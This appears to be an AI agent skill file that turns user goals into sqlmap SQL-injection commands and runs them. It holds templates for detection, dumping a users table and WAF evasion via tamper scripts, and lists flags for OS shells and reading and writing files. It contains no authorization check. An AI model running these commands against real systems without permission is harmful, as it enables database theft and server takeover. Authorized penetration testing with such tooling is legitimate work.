Translate user testing goals into correct sqlmap commands and execute them in a controlled way.
Use this skill to choose flags, run staged scans, and return findings with reproducible command lines.
sqlmap_cmd before generating commands.Default to sqlmap when user does not provide a path.
Accept examples like python /opt/sqlmap/sqlmap.py or python C:\tools\sqlmap\sqlmap.py.
-u for single URL, -r for raw request file, -l for proxy log, -m for bulk targets.
prefer --batch --level=1 --risk=1 --threads=1.
raise --level, --risk, or add technique/tamper options after baseline evidence.
exact command used, vulnerable parameter(s), DBMS fingerprint, and extraction scope.
Use these templates and replace placeholders.
Replace with user input (or sqlmap).
# Baseline detection
<sqlmap_cmd> -u "https://target.tld/item.php?id=1" --batch --level=1 --risk=1
# Raw request file testing
<sqlmap_cmd> -r "/path/to/request.txt" --batch -p "id"
# DBMS fingerprint + basic enumeration
<sqlmap_cmd> -u "https://target.tld/item.php?id=1" --batch -f --banner --current-db --dbs
# Table dump with explicit scope
<sqlmap_cmd> -u "https://target.tld/item.php?id=1" --batch -D appdb -T users --columns --dump
# Use tamper/proxy when WAF or blocking is suspected
<sqlmap_cmd> -u "https://target.tld/item.php?id=1" --batch --proxy="http://127.0.0.1:8080" --tamper=space2comment
sqlmap_cmd.use sqlmap if sqlmap_cmd is not provided.
-u, -r, -l, -m, -d, -g, -c.Request.--level, --risk, --technique, --time-sec.--dbs, --tables, --columns, --dump, --search.--os-cmd, --os-shell, --file-read, --file-write.-t, --har, --output-dir, --save, -s.references/sqlmap-cheatsheet.md first for common recipes.references/sqlmap-help-hh.txt for exact flag names and full option groups.共 1 个版本